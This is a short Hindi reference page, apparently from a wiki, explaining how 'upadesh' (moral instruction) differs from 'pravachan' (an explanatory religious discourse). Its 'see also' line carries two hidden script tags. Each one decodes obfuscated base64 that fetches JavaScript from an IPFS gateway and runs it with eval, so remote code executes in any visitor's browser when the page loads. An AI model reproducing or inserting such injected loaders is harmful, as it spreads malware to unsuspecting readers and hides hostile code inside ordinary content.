उपदेश और प्रवचन

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'उपदेश' और 'प्रवचन' दोनों का अर्थ समान समझ लिया जाता है, पर ऐसा है नहीं। धर्मगुरु लोग 'उपदेश' देते हैं और 'प्रवचन' करते हैं।

उपदेश

'उपदेश' में दिश धातु है, यानी दिशा दिखाना। इस प्रकार उपदेश धर्म-कर्म, नैतिकता की शिक्षा है, सीख है।

प्रवचन

'प्रवचन' में भी धर्म-कर्म का ही भाव है, पर यह उपदेशपूर्ण भाषण बन जाता है। उपदेशों की व्याख्या भी इसमें समाहित है। वेद-शास्त्र, धर्म-अध्यात्म पर व्याख्याओं के साथ उपदेशात्मक ढंग से भाषण करना 'प्रवचन' है।


इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: समरूपी भिन्नार्थक शब्द एवं अंतर्राष्ट्रीय और अंतरराष्ट्रीय<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



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